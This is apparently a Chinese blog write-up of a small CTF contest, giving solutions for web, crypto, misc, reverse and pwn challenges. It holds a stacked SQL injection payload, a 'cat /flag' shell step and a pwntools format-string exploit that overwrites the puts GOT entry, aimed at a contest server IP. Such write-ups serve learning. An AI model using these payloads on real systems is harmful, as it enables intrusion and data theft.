“摆烂杯”CTF大赛 by 速の山海经ケ奇珍异兽

赛事简介

赛事时间

2023年10月30日(星期四)下午13:30-17:00

最终排名

目录

  • WEB
  1. easy_sql
  • CRYPTO
  1. baby_rsa
  2. baaaaaaaaaaaaaaaaaase
  3. how_old_are_you_RSA
  • MISC
  1. qiandaoti_XOR
  2. baby_ACM misc_baigeiti
  3. 又一个baby_ACM
  4. YES RGB!
  5. baigei_FLAG
  • REVERSE
  1. re1
  2. console
  3. easy_android
  4. easy_re
  • PWN
  1. baby_pwn
  2. pwn_baby

WEB

easy_sql

1、强网杯原题(sql堆叠注入)

exp:

1';PREPARE hacker from concat('s','elect', ' * from `1919810931114514` ');EXECUTE hacker;#

拼接字符串查找flag

baby_rsa

  1. 主要就是通过p+q和(p+1)*(q+1)来算n的值

脚本如下:

import libnum

 

p= 0x1232fecb92adead91613e7d9ae5e36fe6bb765317d6ed38ad890b4073539a6231a6620584cea5730b5af83a3e80cf30141282c97be4400e33307573af6b25e2ea

q=0x5248becef1d925d45705a7302700d6a0ffe5877fddf9451a9c1181c4d82365806085fd86fbaab08b6fc66a967b2566d743c626547203b34ea3fdb1bc06dd3bb765fd8b919e3bd2cb15bc175c9498f9d9a0e216c2dde64d81255fa4c05a1ee619fc1fc505285a239e7bc655ec6605d9693078b800ee80931a7a0c84f33c851740

e = 0xe6b1bee47bd63f615c7d0a43c529d219

d = 0x2dde7fbaed477f6d62838d55b0d0964868cf6efb2c282a5f13e6008ce7317a24cb57aec49ef0d738919f47cdcd9677cd52ac2293ec5938aa198f962678b5cd0da344453f521a69b2ac03647cdd8339f4e38cec452d54e60698833d67f9315c02ddaa4c79ebaa902c605d7bda32ce970541b2d9a17d62b52df813b2fb0c5ab1a5

enc_flag =0xca3df19844c617ad8a41f88f8ea554eb993a4a61255bc46adfeabe205c2a2049a06816bc2cf46d61f193dee5c25958c7961029a9fafd9cd81cff5dfa51518f55b59e900c594287e6c48727660ce768ad7637d5f43dbd909bc53e07eb6a8f1acffcb3bb98bf1ce0af78dc9c5a04bb940cb91a2740d180f03ffa8e5a9b953ffc9


phi=q-2*p-2

n=(phi+q)//2

m=pow(enc_flag,d,n)

print(libnum.n2s(int(m)))

# b'flag{today_is_thursday_so_v_me_50}'

baaaaaaaaaaaaaaaaaase

1、一眼丁真base家族套娃

import base64


with open("./base.txt", "rb") as f:

    data = f.read()

   


def getTable(data):

    lis = list(set(data))

    lis = sorted(lis)

    print(len(lis), ''.join(list(map(lambda x: chr(x), lis))))


data = base64.b32decode(data)

data = base64.b32decode(data)

data = base64.b64decode(data)

data = base64.b85decode(data)

data = base64.b64decode(data)

data = base64.b64decode(data)

data = base64.b32decode(data)

data = base64.b32decode(data)

data = base64.b16decode(data)

data = base64.b32decode(data)

data = base64.b64decode(data)

data = base64.b64decode(data)

data = base64.b64decode(data)

data = base64.b32decode(data)

data = base64.b32decode(data)

data = base64.b64decode(data)

data = base64.b16decode(data)

data = base64.b16decode(data)

data = base64.b32decode(data)


getTable(data)

with open("./out.txt", "wb") as f:

    f.write(data)

2、解到最后一步卡住了直接手动解密得到flag

how_old_are_you_RSA

1、已知n,e1,e2,c1,c2,求m,考查共模攻击。

代码如下:

import gmpy2

import binascii


n = 2748281443944427868843369402621263042158244258427433547653329234844505048333691189629107146775166551897070384880309396022510445087966911639388490862151

e1 = 65537

e2 = 992923


c1 = 285685918239736826397269350382490971822513853503791279402545608976504614743806744945079572548121135341824742716166350238418142063969240075997981863636

c2 = 129273488481770576836913112982915335157542027932363877138157510043383503149178933085861517442700435060934412452576721945085276483980455830616742529117


s = gmpy2.gcdext(e1,e2)

m1 = gmpy2.powmod(c1,s[1],n)

m2 = gmpy2.powmod(c2,s[2],n)


m = (m1*m2)%n


print(binascii.unhexlify(hex(m)[2:]))

#b'flag{efdcb148-a63b-385e-9d27-984ccfedde87}'

MISC

qiandaoti_XOR

1、蔡徐坤为23,但xor后乱码,发现将23转换为十六进制后,发现!!!!

2、文件尾发现zip的模样!!!!

3.修复后发现密码消失

4.、得到flag

baby_ACM

  1. ACM题我只能说6!!!!!!ACM国际大学生程序设计竞赛
  2. 只能慢慢搓脚本wwwww

脚本如下:

def min_steps(a):

    n = len(a)  # 获取石头的数量

    # 创建一个动态规划数组,用于记录到达每个位置时所需的最少步数

    dp = [float('inf')] * (n+3)

    dp[0] = 0

   

    for i in range(n):  # 遍历每个位置

        # 选择在当前位置跳一步,两步,或三步

        # 并更新到达下一个位置所需的最少步数

        dp[i+1] = min(dp[i+1], dp[i] + a[i])

        dp[i+2] = min(dp[i+2], dp[i] + a[i])

        dp[i+3] = min(dp[i+3], dp[i] + a[i])

   

    # 返回最后一个位置的最少步数

    return dp[n]


# 提供桥上石头的数量

a = [1 ,4 ,1 ,2 ,4 ,3 ,4 ,4 ,5 ,5 ,2 ,5 ,4 ,1 ,5 ,1 ,1 ,5 ,1 ,3 ,1 ,3 ,2 ,4 ,1 ,1 ,2 ,1 ,3 ,5 ,1 ,1 ,4 ,3 ,2 ,3 ,4 ,1 ,4 ,1 ,3 ,5 ,2 ,5 ,4 ,1 ,5 ,1 ,3 ,5 ,4 ,1 ,2 ,2 ,3 ,1 ,2 ,1 ,2 ,2 ,3 ,3 ,5 ,4 ,1 ,2 ,2 ,2 ,5 ,4 ,3 ,3 ,4 ,4 ,2 ,3 ,5 ,2 ,3 ,5 ,3 ,5 ,2 ,3 ,5 ,4 ,5 ,2 ,5 ,3 ,4 ,1 ,5 ,2 ,3 ,3 ,4 ,3 ,5 ,5 ,3 ,3 ,4 ,2 ,4 ,5 ,5 ,4 ,5 ,1 ,1 ,1 ,2 ,2 ,2 ,5 ,1 ,5 ,4 ,1 ,4 ,1 ,3 ,4 ,3 ,4 ,3 ,4 ,3 ,1 ,1 ,1 ,3 ,1 ,5 ,2 ,1 ,2 ,4 ,5 ,3 ,4 ,2 ,3 ,4 ,5 ,5 ,1 ,2 ,4 ,5 ,3 ,2 ,1 ,3 ,4 ,4 ,4 ,2 ,1 ,1 ,5 ,4 ,5 ,5 ,1 ,1 ,3 ,4 ,3 ,2 ,4 ,1 ,1 ,5 ,5 ,5 ,4 ,1 ,3 ,4 ,4 ,3 ,1 ,2 ,5 ,4 ,3 ,2 ,4 ,5 ,4 ,5 ,3 ,1 ,2 ,2 ,5 ,1 ,5 ,5 ,4 ,4 ,5 ,5 ,4 ,1 ,5 ,4 ,1 ,5 ,4 ,3 ,1 ,1 ,4 ,4 ,5 ,2 ,2 ,2 ,3 ,5 ,2 ,3 ,3 ,2 ,3 ,2 ,1 ,4 ,5 ,4 ,5 ,2 ,3 ,5 ,5 ,4 ,2 ,5 ,5 ,2 ,3 ,2 ,2 ,1 ,1 ,3 ,1 ,3 ,4 ,1 ,5 ,5 ,5 ,5 ,4 ,3 ,2 ,2 ,4 ,1 ,5 ,3 ,3 ,2 ,5 ,3 ,1 ,3 ,2 ,5 ,4 ,3 ,2 ,5 ,4 ,4 ,3 ,3 ,2 ,1 ,3 ,1 ,2 ,5 ,5 ,1 ,3 ,1 ,2 ,4 ,3 ,5 ,3 ,1 ,3 ,4 ,4 ,5 ,5 ,5 ,5 ,3 ,2 ,3 ,5 ,4 ,2 ,5 ,5 ,1 ,3 ,2 ,3 ,5 ,3 ,1 ,1 ,2 ,5 ,5 ,4 ,4 ,3 ,5 ,5 ,5 ,2 ,3 ,5 ,5 ,2 ,5 ,1 ,4 ,2 ,5 ,5 ,1 ,5 ,5 ,1 ,1 ,1 ,5 ,2 ,2 ,4 ,5 ,1 ,5 ,5 ,3 ,5 ,3 ,1 ,2 ,4 ,5 ,2 ,3 ,3 ,2 ,4 ,5 ,5 ,5 ,2 ,1 ,4 ,5 ,4 ,4 ,2 ,4 ,5 ,1 ,5 ,4 ,4 ,3 ,1 ,2 ,3 ,3 ,4 ,3 ,1 ,1 ,1 ,5 ,2 ,1 ,5 ,2 ,4 ,2 ,4 ,1 ,3 ,1 ,4 ,3 ,3 ,4 ,2 ,5 ,4 ,2 ,5 ,1 ,4 ,4 ,1 ,1 ,5 ,4 ,2 ,2 ,1 ,2 ,5 ,4 ,4 ,2 ,1 ,5 ,5 ,4 ,5 ,1 ,4 ,4 ,1 ,3 ,5 ,1 ,1 ,5 ,2 ,3 ,3 ,2 ,3 ,3 ,5 ,3 ,1 ,1 ,1 ,2 ,1 ,4 ,1 ,3 ,4 ,3 ,3 ,3 ,4 ,4 ,4 ,5 ,4 ,3 ,4 ,3 ,3 ,2 ,2 ,2 ,4 ,1 ,1 ,5 ,2 ,3 ,1 ,5 ,2 ,1 ,5 ,1 ,2 ,1 ,5 ,4 ,4 ,2 ,1 ,4 ,4 ,2 ,3 ,3 ,4 ,4 ,3 ,4 ,4 ,5 ,3 ,4 ,4 ,5 ,1 ,5 ,2 ,1 ,4 ,2 ,4 ,1 ,4 ,2 ,1 ,4 ,2 ,1 ,5 ,3 ,3 ,5 ,2 ,1 ,2 ,3 ,4 ,4 ,1 ,3 ,4 ,3 ,1 ,4 ,3 ,4 ,3 ,3 ,2 ,2 ,1 ,2 ,5 ,3 ,1 ,3 ,5 ,5 ,1 ,2 ,5 ,3 ,1 ,4 ,2 ,3 ,4 ,5 ,3 ,3 ,2 ,1 ,1 ,4 ,1 ,1 ,3 ,5 ,3 ,4 ,2 ,5 ,2 ,4 ,4 ,1 ,1 ,5 ,4 ,5 ,1 ,4 ,5 ,5 ,4 ,2 ,2 ,2 ,4 ,2 ,3 ,3 ,1 ,1 ,1 ,4 ,2 ,1 ,2 ,2 ,3 ,2 ,4 ,2 ,2 ,2 ,2 ,2 ,3 ,2 ,2 ,2 ,3 ,3 ,2 ,3 ,3 ,1 ,2 ,2 ,2 ,5 ,4 ,4 ,5 ,5 ,1 ,4 ,1 ,3 ,4 ,2 ,4 ,1 ,2 ,5 ,5 ,5 ,5 ,5 ,3 ,2 ,5 ,1 ,5 ,3 ,1 ,4 ,2 ,2 ,2 ,3 ,1 ,1 ,3 ,1 ,4 ,5 ,5 ,1 ,4 ,4 ,1 ,1 ,2 ,3 ,1 ,4 ,5 ,1 ,1 ,2 ,3 ,2 ,5 ,3 ,5 ,2 ,1 ,3 ,5 ,5 ,2 ,1 ,4 ,5 ,3 ,5 ,5 ,5 ,1 ,1 ,3 ,3 ,1 ,3 ,2 ,5 ,2 ,4 ,1 ,5 ,3 ,2 ,5 ,4 ,5 ,5 ,5 ,3 ,4 ,3 ,4 ,1 ,2 ,1 ,2 ,2 ,2 ,1 ,1 ,3 ,1 ,1 ,1 ,4 ,3 ,4 ,1 ,4 ,5 ,1 ,3 ,3 ,3 ,1 ,1 ,4 ,4 ,1 ,3 ,4 ,5 ,2 ,4 ,4 ,3 ,1 ,1 ,4 ,2 ,2 ,3 ,1 ,4 ,3 ,5 ,4 ,3 ,1 ,3 ,3 ,3 ,2 ,4 ,3 ,5 ,4 ,2 ,3 ,3 ,1 ,3 ,5 ,2 ,2 ,4 ,1 ,1 ,3 ,1 ,2 ,1 ,4 ,1 ,5 ,4 ,4 ,2 ,1 ,3 ,4 ,3 ,5 ,2 ,2 ,4 ,4 ,2 ,4 ,2 ,2 ,2 ,5 ,4 ,4 ,5 ,5 ,3 ,5 ,1 ,4 ,5 ,3 ,4 ,2 ,5 ,4 ,5 ,2 ,2 ,5 ,2 ,2 ,4 ,1 ,1 ,2 ,2 ,3 ,5 ,1 ,4 ,4 ,5 ,1 ,2 ,5 ,5 ,2 ,4 ,3 ,5 ,5 ,1 ,4 ,5 ,2 ,3 ,4 ,2 ,3 ,1 ,4 ,1 ,4 ,2 ,2 ,5 ,3 ,2 ,2 ,2 ,3 ,3 ,1 ,1 ,2 ,1 ,1 ,5 ,5 ,1 ,4 ,2 ,4 ,5 ,4 ,5 ,4 ,2 ,1 ,5 ,1 ,1 ,5 ,1 ,2 ,4 ,3 ,3 ,2 ,2 ,2 ,1 ,5 ,1 ,1 ,2 ,4 ,3 ,5 ,2 ,2 ,3 ,2 ,4 ,2 ,1 ,3 ,2 ,2 ,3 ,1 ,1 ,3 ,3 ,5 ,4 ,4 ,5 ,4 ,5 ,1 ,3 ,4 ,4 ,2 ,5 ,5 ,5 ,3 ,4 ,5 ,1 ,3 ,1 ,3 ,4 ,1 ,1 ,3 ,2 ,5 ,5 ,5 ,1 ,1 ,1 ,3 ,3 ,3 ,3 ,5 ,4 ,1 ,4 ,1 ,4 ,3 ,2 ,1 ,1 ,4 ,4 ,3 ,3 ,2 ,3 ,4 ,2 ,3 ,2 ,4 ,3 ,4 ,3 ,5 ,1 ,5 ,2 ,3 ,4 ,2 ,2 ,1 ,1 ,2 ,1 ,4 ,5 ,5 ,1 ,5 ,5 ,1 ,5 ,3]

# 调用函数并打印结果

print(min_steps(a))#b”787”

misc_baigeiti

  1. 爆破密码121212

  1. b神工具包一把梭

爆破宽高咯

又一个baby_ACM

  1. 已经生气了!!!!
  2. 继续搓

脚本如下:

import numpy as np


# 邻接矩阵的大小,城市数目和边数

n = 100

m = 4


# 创建邻接矩阵并初始化为无穷大

adj_matrix = np.full((n, n), np.inf)


# 填入给出的数据

data = [(6,58,25),(36,98,16),(64,14,5),(56,98,24),(77,29,20),(22,74,15),(70,79,25),(52,92,11),(7,33,31),(6,28,24),(13,81,33),(82,76,11),(69,65,26),(2,69,7),(98,84,34),(18,78,22),(79,15,29),(8,41,29),(48,87,9),(46,91,5),(52,74,5),(12,55,6),(24,73,14),(38,40,24),(56,8,5),(11,30,18),(57,46,11),(84,96,28),(11,51,31),(3,2,24),(48,43,18),(82,31,7),(81,9,19),(8,38,27),(71,89,31),(37,25,32),(18,88,8),(77,5,12),(43,71,17),(61,67,33),(90,13,30),(92,20,31),(57,13,11),(67,35,8),(99,9,14),(42,26,20),(72,35,22),(95,97,30),(20,4,29),(30,34,11),(52,8,18),(33,98,18),(4,93,23),(34,14,12),(54,11,23),(23,55,20),(32,80,8),(35,16,26),(30,81,14),(99,77,30),(6,59,29),(67,60,28),(35,10,29),(69,12,20),(59,41,11),(79,99,15),(4,94,34),(66,36,8),(43,64,15),(51,97,20),(71,59,7),(82,80,11),(26,45,8),(30,78,18),(54,92,19),(80,61,5),(27,87,27),(85,99,12),(29,99,17),(74,41,11),(23,96,12),(47,29,13),(21,71,19),(8,14,20),(16,14,24),(14,71,25),(88,72,9),(2,46,6),(5,19,26),(9,93,24),(100,63,29),(4,50,29),(82,13,14),(5,92,29),(40,91,26),(83,66,26),(98,12,28),(58,23,33),(47,94,25),(57,56,8),(10,91,29),(52,29,23),(3,61,32),(42,61,24),(89,15,5),(37,2,33),(68,97,13),(52,49,31),(26,10,25),(40,12,34),(33,100,23),(77,45,16),(13,80,28),(14,70,10),(51,83,24),(90,3,6),(92,29,21),(100,44,30),(93,72,22),(44,49,31),(83,88,23),(88,78,22),(56,18,24),(40,53,18),(39,82,16),(20,60,20),(61,39,26),(27,53,17),(82,2,19),(100,24,15),(96,80,26),(56,68,26),(36,73,8),(41,43,18),(84,3,22),(17,26,33),(72,65,13),(28,56,12),(3,67,12),(68,83,27),(63,70,22),(86,54,14),(27,74,34),(26,21,7),(54,89,26),(44,47,7),(25,8,34),(14,58,30),(73,21,20),(80,20,7),(15,57,11),(75,21,30),(45,68,5),(87,75,16),(87,15,8),(49,90,23),(41,56,23),(24,96,29),(77,8,10),(26,59,25),(85,60,10),(77,6,6),(99,50,18),(96,85,15),(96,39,13),(9,95,18),(59,76,25),(51,31,27),(9,73,11),(27,12,30),(34,90,5),(12,76,17),(94,92,18),(20,57,32),(3,88,7),(55,39,26),(28,36,28),(20,36,15),(45,64,30),(98,27,31),(40,80,17),(56,14,33),(73,22,12),(58,3,11),(96,95,30),(40,8,20),(5,47,12),(7,68,13),(41,2,27),(13,47,17),(33,52,7),(6,29,7),(6,5,21),(34,5,20),(1,3,10),(15,16,25),(42,54,23),(18,28,23),(49,48,20),(85,59,5),(59,100,7),(6,61,26),(3,94,30),(95,71,16),(60,66,20),(38,98,31),(83,63,7),(71,88,6),(22,100,5),(31,72,16),(26,35,26),(43,59,9),(94,52,16),(42,15,7),(70,52,14),(69,82,28),(18,33,25),(80,28,12),(76,71,21),(86,1,24),(73,16,24),(48,60,20),(54,61,27),(92,64,33),(85,76,18),(71,90,5),(13,19,10),(69,99,21),(28,60,18),(43,29,12),(81,83,17),(84,24,23),(47,8,24),(10,29,21),(86,25,12),(36,69,12),(89,85,27),(89,25,10),(41,16,25),(92,32,25),(67,65,14),(63,23,9),(17,80,25),(80,26,6),(69,54,21),(91,74,7),(39,93,11),(63,52,25),(52,36,9),(49,28,6),(90,2,25),(30,5,24),(41,57,8),(23,43,26),(84,44,8),(15,33,34),(84,57,26),(92,77,16),(94,18,26),(99,7,30),(43,45,23),(22,4,10),(77,95,6),(68,30,22),(94,86,24),(29,79,11),(22,20,22),(49,20,13),(92,21,7),(77,94,25),(16,25,24),(37,68,11),(97,15,25),(63,17,29),(85,93,25),(37,87,24),(71,41,10),(69,37,29),(22,65,6),(21,47,26),(80,30,33),(20,7,19),(20,9,13),(82,91,11),(62,33,34)]

for a, b, cost in data:

    adj_matrix[a-1][b-1] = cost

    adj_matrix[b-1][a-1] = cost


# Prim算法求解最小生成树

MST = set()  # 最小生成树集合

MST.add(0)  # 随机选择一个城市作为起始点

total_cost = 0  # 最低成本预算


while len(MST) < n:

    min_cost = np.inf

    new_city = None

    for city in MST:

        for i in range(n):

            if i not in MST and adj_matrix[city][i] < min_cost:

                min_cost = adj_matrix[city][i]

                new_city = i

    MST.add(new_city)

    total_cost += min_cost


print(total_cost)# 1048.0

YES RGB!

  1. Rgb逐行转图片
  2. 直接和给的图片lsb得到flag

baigei_FLAG

  1. 像素点提取得到flag

不给脚本!!!!


REVERSE

Getflag

1、jeb打开找到main函数

分析加密差一个key

2、前面有函数,读取文件

然后前面找

3、得到key

写出解密脚本

得到flag

RE1

1、运行ida  直接查找字符串

2、得到flag

Easy_re

1、010打开发现特征码被改掉了,改为大写

2、脱壳后拖入ida

3、一眼顶真

4、加密直接爆破直接逆都可以

得到flag

Conslo

1、找到flag代码

2、函数自动输出flag让函数步进到这里调试,在程序开头修改eip跳转到这里运行程序得到flag

PWN

baby_pwn

  1. 直接nc远程连接cat /flag

原理main函数中有system函数可执行系统权限

pwn_baby

1、存在栈溢出和格式化字符串漏洞,但是有canary,无法泄露,则无法使用栈溢出,可以用格式化漏洞将puts的got改为后门函数即可。

脚本如下:

from pwn import *

# r=process('./demo')

r=remote('120.26.101.154',28058)

elf=ELF('./demo')

context.arch='amd64'

puts_got=elf.got['puts']

backdoor=0x4007c7



r.recvuntil('input > ')

payload=fmtstr_payload(6,{puts_got:backdoor})

# gdb.attach(r)

r.sendline(payload)

r.interactive()

还是太菜了www,web就解出来一道题QAQ!!!!

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

王八七七

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值